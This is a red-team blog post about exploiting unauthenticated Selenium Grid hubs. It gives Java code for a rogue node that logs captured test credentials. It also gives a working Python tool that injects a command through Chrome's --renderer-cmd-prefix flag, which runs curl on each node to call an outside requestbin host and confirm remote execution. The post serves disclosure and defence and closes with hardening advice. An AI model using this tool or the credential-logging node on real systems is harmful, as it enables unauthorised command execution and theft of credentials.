Cybersecurity blog header

Attacking QA platforms: Selenium Grid

During the course of a Red Team exercise serveral QA assets where discovered. In particular the usage of the Selenium Grid platform without authentication caught the team’s attention.

The aim for this article is to explain how a QA platform exposed to the internet, Selenium Grid in this particular situation, can be used in a Red Team exercise.

Introduction

Selenium based platforms are mainly based on two components: a hub and several nodes. The hub is the main server which all the other machines (nodes) subscribe to in order to receive all the configuration needed for running a selenium session and performing automated tests. For executing the mentioned tests, each node instantiates browsers on demand using given parameters.

From a Red Team perspective an infrastructure of this characteristics is interesting for two mainly reasons:

  1. If it is possible to subscribe to the Selenium Grid a new node controlled by the Red Team it could be used to obtain the test parameterizations. In certain cases such are test cases where a valid session is needed, it becomes likely to obtain credentials or other authentication methods.

  2. In a scenario in which a node instance can be setted, if that node has Google Chrome browser available, Remote Command Execution becomes trivial through it’s command line flags.

Test environment setup

All the writing in this article has educational purposes only and as such, all the testing done is conducted on a controlled test environment. The setup is composed by four machines, one of them is running a web server as well as a selenium hub whilst the others are running a selenium node each.

Service IP RCE Vulnerable
Selenium Hub 192.168.1.1
Selenium Node 192.168.1.2 Yes
Selenium Node 192.168.1.3 No
Selenium Node 192.168.1.4 Yes

Hub deployment

A selenium hub is instantiated on 192.168.1.1.

java -jar selenium.jar -role hub

Node deployment

Three nodes are instantiated on 192.168.1.1, 192.168.1.2, 192.168.1.3respectively. All nodes are subscribed to the previously created hub (192.168.1.1).

Node setup example (192.168.1.2):

java -Dwebdriver.gecko.driver="geckodriver" -Dwebdriver.chrome.driver="chromedriver" -jar selenium.jar -role webdriver -hub https://192.168.1.1:4444/grid/register -port 5566 -host 192.168.1.2
selenium Hub control panel with all three subscribed nodes

Hub control panel with all three subscribed nodes

New node subscription

The Red Team subscribes a new node which they have power over in order to hijack request parameterizations.

Test run

A small script (launchTest.py) is written in order to perform the testing mimicking a real scenario. This script asks the hub for a test execution, the hub then delegates the realization of the test itself to one of the subscribed nodes who comply with the requirements specified on the desired_capabilitiesattribute.

launchTest.py

#! /usr/bin/env python3.7

from selenium import webdriver
from lxml import html
import requests

HUB_IP = "127.0.0.1"
HUB_PORT = "4444"
TARGET_IP = "192.168.1.1"
TARGET_PORT = "8080"
TARGET_URL = "/main.html"

def request(driver):  
                   s = requests.Session()
                   cookies = driver.get_cookies()
                   for cookie in cookies:
                         s.cookies.set(cookie['name'], cookie['value'])
                   return s
def login():
       driver = webdriver.Remote(desired_capabilities=webdriver.DesiredCapabilities.FIREFOX,command_executor="https://"+HUB_IP+":"+HUB_PORT+"/wd/hub")
       driver.get("https://"+TARGET_IP+":"+TARGET_PORT+TARGET_URL)
       driver.find_element_by_id('username').send_keys("secretUser")
       driver.find_element_by_id('password').send_keys("secretPassword")
       driver.find_element_by_id('login').click()
       req = request(driver)
login()

Obtaining test parameters

The easiest way of obtaining test parameters is to subscribe to the hub a node controlled by the Red Team. For achieving this, a simple method is to modify Selenium’s source code in order to log every request received by the node. A new class CustomRequestWrapper that extends from ServletRequestWrappingHttpRequest is created, this new class allows the body of a packet to be read more than once (by default the body part of a packet is a one time only read buffer).

CustomRequestWrapper.java

public class CustomRequestWrapper extends ServletRequestWrappingHttpRequest {
  private final String body;
  public CustomRequestWrapper(HttpServletRequest request) throws IOException {
    super(request);
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = null;
    try {
      InputStream inputStream = request.getInputStream();
      if (inputStream != null) {
        bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
        char[] charBuffer = new char[128];
        int bytesRead = -1;
        while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {
          stringBuilder.append(charBuffer, 0, bytesRead);
        }
      } else {
        stringBuilder.append("");
      }
    } catch (IOException ex) {
      throw ex;
    } finally {
      if (bufferedReader != null) {
        try {
          bufferedReader.close();
        } catch (IOException ex) {
          throw ex;
        }
      }
    }
    body = stringBuilder.toString();
  }
  
  public String getBody(){
    return body;
  }
  @Override
  public InputStream consumeContentStream() {
    try {
      return new ByteArrayInputStream(body.getBytes());
    } catch (Exception e) {
      throw new RuntimeException(e);
    }
  }
}

Using CustomRequestWrapper on the WebDriverServlet class the body of every packet is parsed and written to a log file.

...
...
CustomRequestWrapper req_wrapper = new CustomRequestWrapper(req);        
String body = req_wrapper.getBody();
if(!body.contains("capabilities")){
    localDate = LocalDate.now();
    String filename= LOG_FOLDER+localDate.format(dtf)+".log";
    fw = new FileWriter(filename,true);
    if(body.contains("url")){
      fw.write("n");
  }
  fw.write(body+"n");
  fw.close();
  logger.info(body);
}
...
...

All the content included on the packets can be seen just by analyzing the traffic received by the node.

.log file located on the modified node

.log file located on the modified node

Remote Code Execution

As said at the beginning of this article, it is indeed possible to execute commands on Google Chrome powered nodes. The command line argument --renderer-cmd-prefix

allows for the execution of a command previous to starting the browser. This command line argument belongs to Google Chrome browser capabilities and has nothing to do with the Selenium suite itself.

Following this events, the Red Team developed a tool that allows listing all the nodes subscribed to a hub as well as checking which ones are vulnerable to RCE. This tool can be obtained in Tarlogic’s github.

Tool basics

The tool receives the location of a selenium hub as well as the port it is deployed and gives the user two options:

  1. Enumeration of all nodes subscribed to the hub.

  2. Enumeration of all nodes subscribed to the hub and discovery of the vulnerable ones.

For checking for RCE the tool uses dns.requestbin.net. Basically the tool tries to perform a http request t onodeaddress.dnstoken.d.requestbin.net from each node. If the DNS request for  nodeaddress.dnstoken.d.requestbin.net is performed the service receives it allowing the identification of which nodes performed the request.

seleniumInformer.py

#!/bin/python3.7
import requests
import re
import base64
import asyncio
import websockets
import json
import time
import threading
import argparse

NODE_REGEX = re.compile(r'id:s(https?://d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,6})')

HUB_IP_ADDR="192.168.1.1"
HUB_PORT="4444"
REQUEST_TOKEN = ''
REQUEST_DOMAIN='.d.requestbin.net'
WEBSOCKET_URL     = "ws://dns.requestbin.net:8080/dnsbin";
RESULT_SET = {}

parser = argparse.ArgumentParser()
parser.add_argument("-a","--addr", help="Hub ip address")
parser.add_argument("-p","--port", help="Hub web panel port")
parser.add_argument("-e","--enumerate",action="store_true", help="Just eumerate nodes on hub")
args = parser.parse_args()

if args.addr:
    HUB_IP_ADDR = args.addr

if args.port:
    HUB_PORT = args.port

if not args.enumerate:
    async def read_bytes_from_outside():
        async with websockets.connect(WEBSOCKET_URL,close_timeout=3) as websocket:
            global REQUEST_TOKEN
            global RESULT_SET
            data = await websocket.recv()
            data = json.loads(data)
            REQUEST_TOKEN = data['data']
            print("[+] Current session token is : " + REQUEST_TOKEN)
            try:
                while(websocket.open):
                    message = await websocket.recv()
                    message = json.loads(json.loads(message)['data'])
                    node = message['content']
                    RESULT_SET[base64.b32decode(node.upper() + '=' * (-len(node) % 4)).decode('utf-8')]=message
            except:
                pass

    def thread_handler():
        loop = asyncio.new_event_loop()
        asyncio.set_event_loop(loop)
        loop.run_until_complete(read_bytes_from_outside())
        loop.close()

    thread = threading.Thread(target = thread_handler, args='')
    thread.start()


    while len(REQUEST_TOKEN)<1:
        time.sleep(0.2)

print("[+] Hub Location:",'https://'+HUB_IP_ADDR+':'+HUB_PORT)
r = requests.get('https://'+HUB_IP_ADDR+':'+HUB_PORT+'/grid/console')

NodesOnHub = NODE_REGEX.findall(r.content.decode("utf-8"))

if not args.enumerate:
    for node in NodesOnHub:
        b32_node = ""+base64.b32encode(str.encode(node)).decode('utf-8').replace('=','').lower()
        payload = "curl "+b32_node+"."+REQUEST_TOKEN+REQUEST_DOMAIN
        rce_test_data = '''{
            "desiredCapabilities": {
                "browserName":"chrome",
                "goog:chromeOptions": {
                    "args":["--no-sandbox","--renderer-cmd-prefix='''+payload+''' --"]
                }
            }
        }'''
        r = requests.post(url = 'https://'+HUB_IP_ADDR+':'+HUB_PORT+'/wd/hub/session', headers={'Content-Type':'text/plain;charset=UTF-8'}, data = rce_test_data)


    thread.join()

    print("[+] Nodes with RCE: ")
    for node in NodesOnHub:
        if node in RESULT_SET:
            print(" [3[;1;32m+3[;39;49m] ",node,"3[;1;32mPWNEABLE!3[;39;49m")
        else:
            print(" [3[;1;31m-3[;39;49m] ",node,"3[;1;31mNOT PWNEABLE!3[;39;49m")

else:
    print("[+] Nodes Subscribed to HUB: ")
    for node in NodesOnHub:
            print(" [*] ",node)

Tool 101

The tool is written in python3 and has two features. Using the -e,–enumerate trigger the tool lists every node subscribed to the supplied hub while, without it, enumerates the nodes and checks for Remote Code Execution.

Node listing

Listing all nodes on a hub (-e,–enumerate)

Enumerating selenium nodes subscribed to a hub

Enumerating nodes subscribed to a hub

Node listing and RCE checking

Listing all nodes and checking for RCE (without -e,–enumerate flags).

selenium  nodes with RCE

Obtaining nodes with RCE

Conclusions

Long story short, Selenium Grid is a powerful tool in a application tester’s toolkit but, as a wise man once said “With great power comes great responsibility” therefore it must be used carefully in a controlled environment. The absence of authentication methods between client and server lets any external agent to interact with both services allowing for attacks such are the ones described in this article.
Authentication proxies, firewall rules for filtering incoming traffic and good hardening practices are key elements for minimizing risks when using this kind of frameworks.

References


[1] https://chromium.googlesource.com/chromium/src/+/lkgr/docs/gpu/debugging_gpu_related_code.md
[2] https://howtodoinjava.com/servlets/httpservletrequestwrapper-example-read-request-body/
[3] https://peter.sh/experiments/chromium-command-line-switches/

Discover our work and cybersecurity services at www.tarlogic.com